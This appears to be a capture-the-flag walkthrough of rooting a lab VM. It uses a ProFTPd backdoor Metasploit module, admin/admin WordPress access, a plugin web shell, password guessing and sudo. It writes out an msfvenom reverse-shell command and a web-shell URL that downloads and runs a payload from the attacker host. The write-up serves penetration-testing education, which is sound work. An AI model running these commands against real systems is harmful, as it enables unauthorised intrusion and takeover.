This VMs has several avenues that lead either directly or indirectly to rooting the box. I'll walk through a few avenues below.
Enumeration
After booting the VM, I performed a ping sweep on my network to identify the VM IP and started an nmap to identify any open ports.
 |
| Enumerating open ports |
Avenue #1 - ProFTPd
My interest was piqued immediately upon seeing FTP open on this host. From previous experience, I already knew this version was vulnerable to a backdoor, but I decided to act like a newcomer and did a search for "proftpd 1.3.3c exploit." This yielded many results indicating that this particular version of ProFTPd was indeed affected by a backdoor which allowed for shell access to the system. A metasploit module was the first search result, so I decided to use that.
Gaining a shell was straight forward and was a simple matter of configuring the payload. I selected the cmd/unix/reverse payload which resulted in a root shell.
 |
| Metasploit configuration |
 |
| Root! |
As you can see, this was a very quick, minimal effort to achieve root in a manner of minutes. In real penetration tests, the goal is often to not simply compromise a host, but to establish a foothold, enumerate information, and attempt to move laterally. Having a fully functional shell is always a bonus. To this end, you can often invoke a fully-interactive shell with a simple python trick: python -c 'import pty; pty.spawn("/bin/bash")'
 |
| Upgrading to a fully-interactive shell |
Avenue #2 - WordPress low-privilege shell
Knowing there were several avenues to achieve root on this box, I decided to see what avenues the web server on port 80 presented. Initially, the web server didn't appear to offer much. A search for known vulnerabilities in the version of Apache used on the server, 2.4.18, indicated there weren't any exploits which allowed for remote code execution. Since there weren't any exploits for Apache, there had to be some software running on the web server which would ultimately yield a shell.
During penetration tests, enumeration of the target is critical. As you enumerate more information about the target, you build a better understanding of how it works and how it may be attacked. In instances where you've identified a web server that just has a default welcome page and doesn't immediately offer up any clues, tools such as nikto and dirb are a great first choice for identifying potential access vectors. In this case, nikto quickly identified the presence of a /secret/ directory. This is the droid I was looking for!
 |
| Enumeration of secret directory with nikto |
Upon visiting /secret/, I was presented with a WordPress site - My Secret Blog. The WordPress login console can typically be accessed by visiting <site>/wp-login/index.php.
Note: You may encounter issues with content not loading due to the fact that the VM is configured to rewrite IPs to hostnames in URLs. The easiest way to deal with this is to set up a hosts file entry to point your target VMs IP to vtcsec.
Upon visiting the WordPress login page, I tried the default username and password of admin / admin. If you're new to pen testing, this is sadly not an unrealistic example. I have encountered far too many services in production using these exact credentials.
 |
| WordPress login page |
 |
| WordPress admin console |
There are a number of ways to achieve a shell once gaining administrative access to a WordPress installation. The method used will depend on target configuration and personal preferences. One common technique is to modify a template and replace the template code with your shell code. Personally, I don't favor this approach as modification of the template can expose your presence if the site is actively used. Users (and admins!) are likely to notice if all of a sudden their template is modified and the site is no longer displaying correctly. Instead, I prefer to use a plugin to install a shell.
A quick and lightweight shell can be downloaded from GitHub: https://github.com/leonjza/wordpress-shell. Note: I tried to use shell.zip from the GitHub repository, but it didn't decompress properly. You'll probably need to create a new zip file: zip -r shell.zip shell.php.
To install a new plugin, use Plugins > Add New menu and use the Upload Plugin button to upload your zipped shell. Activate the new plugin and you're ready to execute commands on the system on the web server as the web server user. The plugin documentation indicates that your new shell can be accessed by navigating to /wp-content/plugins/shell/shell.php. For this VM, that means you can access your shell by navigating to http://ip/secret/wp-content/plugins/shell/shell.php. If for some reason your shell isn't accessible, you can confirm the path to your plugin by using the Plugins > Editor menu to confirm the directory name for your shell.
 |
| Executing 'id' using the shell |
To use a meterpreter payload, I needed to take a few steps. First, I needed to select a payload. The VulnHub page tells us the OS used, but in the real world we don't have that luxury, so we need to determine what our target is running. Using my command shell, I determined the system was a 64-bit Ubuntu Linux system by using uname -a.
 |
| Executing 'uname -a' using the shell |
Second, I needed to create a payload to execute on the system. To do this, I used msfvenom to create an ELF payload. msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 -f elf LHOST=172.16.127.176 LPORT=4444 -o metshell
 |
| Generating a payload with msfvenom |
Third, I needed to set up metasploit to receive a shell from this payload. This can be accomplished using exploit/multi/handler. All that's needed is to set the LHOST and LPORT options to match what was specified when building the payload with msfvenom.
 |
| exploit/multi/handler configuration |
Lastly, the payload needed to be transferred to the target. If you have a web server on your attacking system, you can use that to serve up your payload and retrieve it using wget on the target. If you don't have a web server configured, that's ok. One of my favorite quick and dirty methods is to use the python SimpleHTTPServer to serve up content. By default, the SimpleHTTPServer will establish a listener on port 8000 and serve up content from your current working directory.
Many times in real world pen tests, the web root is protected and the web server user will not have write access to the web root. If you're able to establish a web shell, you'll need to find a directory where the web server user can write to in order to drop your payload. Most commonly, this will be in the /tmp directory. For this challenge, I changed to the /tmp directory, retrieved my payload and marked it as executable, and executed it. You can issue these commands individually, or all at once, such as: http://172.16.127.174/secret/wp-content/plugins/shell-2/shell.php?cmd=cd%20/tmp;%20wget%20http://172.16.127.176:8000/metshell;%20chmod%20777%20metshell;%20/tmp/metshell
 |
| Low privilege meterpreter shell established! |
At this point, we've established a shell, but it's only as the lowly www-data user. We need to find an avenue that will allow us to escalate our privileges to root.
Avenue 2a - Privilege escalation through password attacks and sudo
After establishing a meterpreter shell as the www-data user, I began to look for ways to escalate my privileges to root. A look through the /etc/passwd file revealed that the only local user on the box was the user marlinspike. We already know marlinspike chose a weak password to protect their WordPress installation. What are the chances that marlinspike also used a weak password for their local user account?
A simple google search will give you dozens of weak password lists that you can then use with automated attack tools like thc-hydra, ncrack, medusa, or patator. Before I fired up an automated tool, I did a manual test using a few common weak passwords like password, admin, letmein, and the username as a password. Unsurprisingly, marlinspike used their user name as their password.
 |
| Logged in as marlinspike |
Sudo is a utility which allows users to execute commands with the security context of another user. Savvy system administrators will use it to allow users to execute specific commands as either another user or a user with elevated privileges. Unfortunately, system administrators also often grant themselves permission to execute all system commands as the root user. Such was the case with this system.
 |
| root! |
In retrospect, I could have just used the WP shell to identify all local users and attempt password guessing attacks without ever launching the meterpreter shell.
